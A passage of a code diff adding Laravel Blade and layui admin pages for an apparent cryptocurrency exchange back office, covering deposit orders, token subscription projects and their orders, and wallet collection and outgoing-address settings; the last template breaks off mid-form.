||||
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#boss'
|
||||
,url: '/admin/currency/deposit_order/list' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:80, sort: true}
|
||||
|
||||
,{field: 'account_number', title: '用户', width:150}
|
||||
,{field: 'currency_name', title: '币种', width:100}
|
||||
,{field:'day_rate',title: '日利率(%)', width:100,}
|
||||
,{field: 'total_rate', title: '总利率(%)', width:100}
|
||||
,{field: 'amount', title: '存币数量', width:130}
|
||||
,{field: 'total_interest', title: '总利息', width:130}
|
||||
,{field: 'start_at', title: '开始时间', width:150}
|
||||
,{field: 'end_at', title: '到期时间',width:150}
|
||||
,{field: 'created_at', title: '创建时间',width:150}
|
||||
,{ title: '状态',templet:function(d){
|
||||
|
||||
if(d.status==1){
|
||||
return '<span style="color:#00c087">进行中</span>';
|
||||
}else if(d.status==2){
|
||||
return '<span style="color:#f00">到期</span>';
|
||||
}
|
||||
}
|
||||
}
|
||||
// ,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
//监听提交
|
||||
form.on('submit(searchtj)', function(data){
|
||||
// var seller_name = data.field.seller_name
|
||||
var account_number = data.field.mobile,
|
||||
status= data.field.status,
|
||||
is_cancel=0;
|
||||
if(status==2){
|
||||
is_cancel=1;
|
||||
}
|
||||
if(status==3){
|
||||
status=2;
|
||||
is_cancel=0;
|
||||
}
|
||||
if(status==1 || status==""){
|
||||
is_cancel='';
|
||||
}
|
||||
// ,currency_id = $('#currency_id').val()
|
||||
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
// is_cancel:is_cancel,
|
||||
account_number:account_number,
|
||||
status:status,
|
||||
// currency_id:currency_id,
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
table.on('tool(boss)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'getsons'){
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
p_id:data.id,
|
||||
// currency_id:currency_id,
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,241 @@
|
||||
@extends('admin._layoutNew')
|
||||
@section('page-head')
|
||||
<link rel="stylesheet" type="text/css" href="{{URL("layui/css/layui.css")}}" media="all">
|
||||
<link rel="stylesheet" type="text/css" href="{{URL("admin/common/bootstrap/css/bootstrap.css")}}" media="all">
|
||||
<link rel="stylesheet" type="text/css" href="{{URL("admin/common/global.css")}}" media="all">
|
||||
<link rel="stylesheet" type="text/css" href="{{URL("admin/css/personal.css")}}" media="all">
|
||||
@endsection
|
||||
@section('page-content')
|
||||
<form class="layui-form" method="POST">
|
||||
<input type="hidden" name="project_id" id="projectId">
|
||||
{{ csrf_field() }}
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">标题</label>
|
||||
<div class="layui-input-block">
|
||||
<input class="layui-input newsName" name="title" id="title" lay-verify="required" placeholder="请输入标题" type="text">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">图片</label>
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" type="button" id="upload_test">选择图片</button>
|
||||
<br>
|
||||
<img src="" style="display:none" id="logoImg">
|
||||
<input type="hidden" name="logo" id="logo" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item" style="position:relative;z-index:10000">
|
||||
<label for="currency_id" class="layui-form-label">项目币种</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="currency_id" lay-verify="required" id="currency_id" lay-search>
|
||||
@foreach ($currencies as $currency)
|
||||
<option value="{{ $currency->id }}"
|
||||
@php if ($info && $info->currency_id == $currency->id){ @endphp
|
||||
selected
|
||||
@php } @endphp
|
||||
> {{ $currency->name }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item" style="position:relative;z-index:9999">
|
||||
<label for="currency_id" class="layui-form-label">支付币种</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="pay_currency_id" lay-verify="required" id="pay_currency_id" lay-search>
|
||||
@foreach ($currencies as $currency)
|
||||
<option value="{{ $currency->id }}"
|
||||
@php if ($info && $info->pay_currency_id == $currency->id){ @endphp
|
||||
selected
|
||||
@php } @endphp
|
||||
> {{ $currency->name }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">发行总量</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " name="amount" type="text" id="amount">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">发行价格</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " name="price" type="text" id="price">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">最低认购金额(支付币种)</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " name="min" type="text" id="min">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">配售数量</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " name="sell_amount" type="text" id="sell_amount">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">抽签总数</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " name="total_apply" type="text" id="total_apply">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">中签率%</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " name="win_rate" type="text" id="win_rate">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">开始时间</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " id="start_at" name="start_at" type="text" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">结束时间</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " id="end_at" name="end_at" type="text">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">配售时间</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " id="sell_begin" name="sell_begin" type="text" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">官网链接</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " name="link" type="text" id="link">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">白皮书链接</label>
|
||||
<div class="layui-input-inline">
|
||||
<input class="layui-input " name="white_book" type="text" id="white_book">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">发布状态</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="status" class="" id="status" lay-filter="status" lay-verify="required">
|
||||
|
||||
<option value="1">已上架</option>
|
||||
<option value="2">已下架</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">内容摘要</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea placeholder="请输入内容摘要" class="layui-textarea" name="summary" id="summary"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">文章内容</label>
|
||||
<div class="layui-input-block">
|
||||
<script id="news_content" name="content" type="text/plain" style="width:100%; height:300px;"></script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="submit">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
@endsection
|
||||
@section('scripts')
|
||||
<script type="text/javascript" src="{{ URL('vendor/ueditor/1.4.3/ueditor.config.js') }}"></script>
|
||||
<script type="text/javascript" src="{{ URL('vendor/ueditor/1.4.3/ueditor.all.js') }}"> </script>
|
||||
<script type="text/javascript" src="{{ URL('vendor/ueditor/1.4.3/lang/zh-cn/zh-cn.js') }}"></script>
|
||||
<script type="text/javascript" src="{{URL("/admin/js/projectFormSubmit.js?v=").time()}}"></script>
|
||||
<script>
|
||||
|
||||
let url=window.location.href;
|
||||
let id='';
|
||||
|
||||
if(url.indexOf("=")!=-1){
|
||||
id=url.substr(url.indexOf("=")+1);
|
||||
$("#projectId").val(id);
|
||||
$.ajax({
|
||||
url:"/admin/currency/project/detail",
|
||||
data:{
|
||||
project_id:id,
|
||||
},
|
||||
success:function(res){
|
||||
let data=res.message;
|
||||
$("#title").val(data.title);
|
||||
if(data.logo){
|
||||
$("#logoImg").attr('src',data.logo);
|
||||
$("#logo").val(data.logo);
|
||||
$("#logoImg").show();
|
||||
}else{
|
||||
$("#logoImg").hide();
|
||||
$("#upload_test").hide();
|
||||
}
|
||||
// for(let i=0;i<$("#currency_id option").length;i++){
|
||||
// if($("#currency_id option")[i].value==data.currency_id){
|
||||
// // $("#currency_id option")[i].setAttribute('selected',true);
|
||||
// $("#currency_id option")[i].selected=i;
|
||||
// }
|
||||
// }
|
||||
// for(let i=0;i<$("#pay_currency_id option").length;i++){
|
||||
// if($("#pay_currency_id option")[i].value==data.pay_currency_id){
|
||||
// // $("#pay_currency_id option")[i].setAttribute('selected',true);
|
||||
// $("#pay_currency_id option")[i].selected=i;
|
||||
// }
|
||||
// }
|
||||
// for(let i=0;i<$("#status option").length;i++){
|
||||
// if($("#status option")[i].value==data.status){
|
||||
// // $("#status option")[i].setAttribute('selected',true);
|
||||
// $("#status option")[i].selected=i;
|
||||
// }
|
||||
// }
|
||||
// form.select();
|
||||
$("#amount").val(data.amount);
|
||||
$("#min").val(data.min);
|
||||
$("#price").val(data.price);
|
||||
$("#start_at").val(data.start_at);
|
||||
$("#end_at").val(data.end_at);
|
||||
$("#sell_begin").val(data.sell_begin);
|
||||
$("#link").val(data.link);
|
||||
$("#summary").val(data.summary);
|
||||
$("#news_content").val(data.content);
|
||||
$("#white_book").val(data.white_book);
|
||||
$("#title").val(data.title);
|
||||
$("#sell_amount").val(data.sell_amount);
|
||||
$("#total_apply").val(data.total_apply);
|
||||
$("#win_rate").val(data.win_rate);
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
layui.use('upload', function(){
|
||||
var upload = layui.upload;
|
||||
//执行实例
|
||||
var uploadInst = upload.render({
|
||||
elem: '#upload_test' //绑定元素
|
||||
,url: '{{URL("api/upload")}}?scene=admin' //上传接口
|
||||
,done: function(res){
|
||||
//上传完毕回调
|
||||
if (res.type == "ok"){
|
||||
$("#logo").val(res.message)
|
||||
$("#logoImg").show()
|
||||
$("#logoImg").attr("src",res.message)
|
||||
} else{
|
||||
alert(res.message)
|
||||
}
|
||||
}
|
||||
,error: function(){
|
||||
//请求异常回调
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,169 @@
|
||||
@extends('agent.layadmin')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <label class="layui-form-label">ID</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <label class="layui-form-label">用户</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <input type="text" name="mobile" placeholder="请输入" autocomplete="off" class="layui-input">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <label class="layui-form-label">状态</label>-->
|
||||
<!-- <div class="layui-input-inline">-->
|
||||
<!-- <select name="status" class="layui-input">-->
|
||||
<!-- <option value="">选择状态</option>-->
|
||||
<!-- <option value="1">进行中</option>-->
|
||||
<!-- <option value="2">到期</option>-->
|
||||
<!-- <option value="3">到期</option>-->
|
||||
<!-- </select>-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="searchtj">-->
|
||||
<!-- <i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>-->
|
||||
<!-- </button>-->
|
||||
<!--</div>-->
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" id="add_project">添加项目</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
|
||||
<table id="boss" lay-filter="boss"></table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="edit"><i class="layui-icon layui-icon-friends"></i>编辑</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="check"><i class="layui-icon layui-icon-friends"></i>查看订单</a>
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['table','form'], function(){
|
||||
// console.log(layui.setter.base)
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
$('#add_project').click(function() {
|
||||
var index = layer.open({
|
||||
title:'添加项目'
|
||||
,type:2
|
||||
,content: '/admin/currency/project/detail/view'
|
||||
,area: ['100%', '100%']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
});
|
||||
});
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#boss'
|
||||
,url: '/admin/currency/project/list' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:80, sort: true}
|
||||
|
||||
,{field: 'currency_name', title: '币种', width:100}
|
||||
,{field: 'title', title: '标题', width:200}
|
||||
,{field: 'summary', title: '摘要', width:200}
|
||||
,{field:'amount',title: '发行总量', width:200}
|
||||
,{field: 'price', title: '价格', width:100}
|
||||
,{field: 'start_at', title: '开始时间', width:200}
|
||||
,{field: 'end_at', title: '结束时间',width:200}
|
||||
,{ title: '状态',templet:function(d){
|
||||
|
||||
if(d.time_status==1){
|
||||
return '<span style="color:#00c087">未开始</span>';
|
||||
}else if(d.time_status==2){
|
||||
return '<span style="color:#f00">进行中</span>';
|
||||
}else{
|
||||
return '<span style="color:#f00">已结束</span>';
|
||||
}
|
||||
}
|
||||
}
|
||||
,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
//监听提交
|
||||
form.on('submit(searchtj)', function(data){
|
||||
// var seller_name = data.field.seller_name
|
||||
var account_number = data.field.mobile,
|
||||
status= data.field.status,
|
||||
is_cancel=0;
|
||||
if(status==2){
|
||||
is_cancel=1;
|
||||
}
|
||||
if(status==3){
|
||||
status=2;
|
||||
is_cancel=0;
|
||||
}
|
||||
if(status==1 || status==""){
|
||||
is_cancel='';
|
||||
}
|
||||
// ,currency_id = $('#currency_id').val()
|
||||
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
// is_cancel:is_cancel,
|
||||
account_number:account_number,
|
||||
status:status,
|
||||
// currency_id:currency_id,
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
table.on('tool(boss)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'edit'){
|
||||
var index = layer.open({
|
||||
title:'修改项目'
|
||||
,type:2
|
||||
,content: '/admin/currency/project/detail/view?id='+data.id
|
||||
,area: ['100%', '100%']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
});
|
||||
// table.reload('mobileSearch',{
|
||||
// where:{
|
||||
// p_id:data.id,
|
||||
// // currency_id:currency_id,
|
||||
// },
|
||||
// page: {curr: 1} //重新从第一页开始
|
||||
// });
|
||||
}
|
||||
|
||||
if(obj.event == 'check'){
|
||||
var index = layer.open({
|
||||
title:'查看订单'
|
||||
,type:2
|
||||
,content: '/admin/currency/project/order/view?id='+data.id
|
||||
,area: ['100%', '100%']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,145 @@
|
||||
@extends('agent.layadmin')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <label class="layui-form-label">ID</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="serach" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="type" class="layui-input">
|
||||
<option value="">请选择</option>
|
||||
<option value="1">认购</option>
|
||||
<option value="2">抽签</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="status" class="layui-input">
|
||||
<option value="">请选择</option>
|
||||
<option value="1">已申请</option>
|
||||
<option value="2">已扣费</option>
|
||||
<option value="3">已完成</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="searchtj">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
|
||||
<table id="boss" lay-filter="boss"></table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
@{{# if (d.status ==2 && d.type==3) { }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="peishou"><i class="layui-icon layui-icon-friends"></i>确认配售</a>
|
||||
@{{# } }}
|
||||
</script>
|
||||
|
||||
<script>
|
||||
let id='';
|
||||
let url=window.location.href;
|
||||
if(url.indexOf("=")!=-1){
|
||||
id=url.substr(url.indexOf("=")+1);
|
||||
}
|
||||
layui.use(['table','form'], function(){
|
||||
// console.log(layui.setter.base)
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#boss'
|
||||
,url: '/admin/currency/project/order/list?project_id='+id //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:80, sort: true}
|
||||
|
||||
,{field: 'account_number', title: '用户', width:150}
|
||||
,{field: 'coin_amount', title: '申购数量', width:100}
|
||||
,{field: 'price', title: '价格', width:100}
|
||||
,{field:'total_price',title: '扣除余额', width:100}
|
||||
,{field: 'type_text', title: '类型', width:100}
|
||||
,{field: 'status_text', title: '状态', width:130}
|
||||
,{field: 'created_at', title: '创建时间',width:150}
|
||||
,{field: 'end_at', title: '到期时间',width:150}
|
||||
,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
//监听提交
|
||||
form.on('submit(searchtj)', function(data){
|
||||
// var seller_name = data.field.seller_name
|
||||
var account_number = data.field.search,
|
||||
status= data.field.status,
|
||||
type= data.field.type;
|
||||
// ,currency_id = $('#currency_id').val()
|
||||
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
// is_cancel:is_cancel,
|
||||
type:status,
|
||||
account_number:account_number,
|
||||
status:status,
|
||||
// currency_id:currency_id,
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
table.on('tool(boss)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'peishou'){
|
||||
var index = layer.open({
|
||||
title:'填写配售信息'
|
||||
,type:2
|
||||
,content: '/admin/currency/project/sell/view?id='+data.id+"&totalprice="+data.total_price
|
||||
,area: ['500px', '400px']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
});
|
||||
// table.reload('mobileSearch',{
|
||||
// where:{
|
||||
// p_id:data.id,
|
||||
// // currency_id:currency_id,
|
||||
// },
|
||||
// page: {curr: 1} //重新从第一页开始
|
||||
// });
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,81 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">归拢地址</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" class="layui-input" name="collect_account" value="{{$currency->collect_account}}" autocomplete="off" placeholder="转入的钱包地址" >
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">子账号统一转入的钱包地址,<span style="color: #f00">为了安全不能与转出地址相同</span></div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">安全验证码</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" class="layui-input" name="verificationcode" placeholder="" autocomplete="off">
|
||||
</div>
|
||||
<button type="button" class="layui-btn layui-btn-primary" id="get_code">获取验证码</button>
|
||||
</div>
|
||||
<input id="currency_id" type="hidden" name="id" value="{{$currency->id}}">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" type="button" lay-submit lay-filter="*">保存</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
layui.use(['layer', 'form'], function () {
|
||||
var layer = layui.layer
|
||||
,$ = layui.jquery
|
||||
,form = layui.form;
|
||||
//获取验证码
|
||||
$('#get_code').click(function () {
|
||||
var that_btn = $(this);
|
||||
$.ajax({
|
||||
url: '/admin/safe/verificationcode'
|
||||
,type: 'GET'
|
||||
,success: function (res) {
|
||||
if (res.type == 'ok') {
|
||||
that_btn.attr('disabled', true);
|
||||
that_btn.toggleClass('layui-btn-disabled');
|
||||
}
|
||||
layer.msg(res.message, {
|
||||
time: 3000
|
||||
});
|
||||
}
|
||||
,error: function () {
|
||||
layer.msg('网络错误');
|
||||
}
|
||||
});
|
||||
});
|
||||
form.on('submit(*)', function (data) {
|
||||
$.ajax({
|
||||
url: '/admin/currency/set_in_address'
|
||||
,type: 'POST'
|
||||
,data: data.field
|
||||
,success: function (res) {
|
||||
layer.msg(res.message, {
|
||||
time: 2000
|
||||
,end: function () {
|
||||
if (res.type == 'ok') {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
parent.layer.close(index); //再执行关闭
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
,error: function (res) {
|
||||
layer.msg('服务器或网络故障');
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,88 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">转出地址</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="total_account" autocomplete="off" placeholder="转出的钱包地址" class="layui-input" value="{{$currency->total_account}}">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">打手续费、提币的钱包地址,<span style="color: #f00">为了安全不建议留太多币,建议随用随存</span></div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">转出私钥</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="password" name="key" autocomplete="off" placeholder="转出钱包私钥" class="layui-input" value="{{$currency->key}}">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">打手续费、提币的对应钱包地址的私钥</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">安全验证码</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="verificationcode" placeholder="" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
<button type="button" class="layui-btn layui-btn-primary" id="get_code">获取验证码</button>
|
||||
</div>
|
||||
<input id="currency_id" type="hidden" name="id" value="{{$currency->id}}">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" type="button" lay-submit lay-filter="*">保存</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
layui.use(['layer', 'form'], function () {
|
||||
var layer = layui.layer
|
||||
,$ = layui.jquery
|
||||
,form = layui.form;
|
||||
//获取验证码
|
||||
$('#get_code').click(function () {
|
||||
var that_btn = $(this);
|
||||
$.ajax({
|
||||
url: '/admin/safe/verificationcode'
|
||||
,type: 'GET'
|
||||
,success: function (res) {
|
||||
if (res.type == 'ok') {
|
||||
that_btn.attr('disabled', true);
|
||||
that_btn.toggleClass('layui-btn-disabled');
|
||||
}
|
||||
layer.msg(res.message, {
|
||||
time: 3000
|
||||
});
|
||||
}
|
||||
,error: function () {
|
||||
layer.msg('网络错误');
|
||||
}
|
||||
});
|
||||
});
|
||||
form.on('submit(*)', function (data) {
|
||||
$.ajax({
|
||||
url: '/admin/currency/set_out_address'
|
||||
,type: 'POST'
|
||||
,data: data.field
|
||||
,success: function (res) {
|
||||
layer.msg(res.message, {
|
||||
time: 2000
|
||||
,end: function () {
|
||||
if (res.type == 'ok') {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
parent.layer.close(index); //再执行关闭
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
,error: function (res) {
|
||||
layer.msg('服务器或网络故障');
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,179 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width:90px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 120px;
|
||||
}
|
||||
.reddot {
|
||||
position: absolute;
|
||||
right:5%;
|
||||
color: red;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>理财币种</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='currency' id="currency">
|
||||
<option value='1' class='layui-option'>BTC</option>
|
||||
<option value='2' class='layui-option'>ETH</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>类型</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='type'>
|
||||
<option value='call' class='layui-option'>看涨(call)</option>
|
||||
<option value='put' class='layui-option'>看跌(put)</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>年化收益率%</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" name="rate" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>实时价格</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" disabled="disabled" class="layui-input" value="" id="nowPrice">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>挂钩参考价</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" name="exercise_price" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>开始日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="datetime-local" name="start_time" autocomplete="off" placeholder="" class="layui-input" value="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"><span class="reddot">*</span>结束日期</label>
|
||||
<div class="layui-input-block">
|
||||
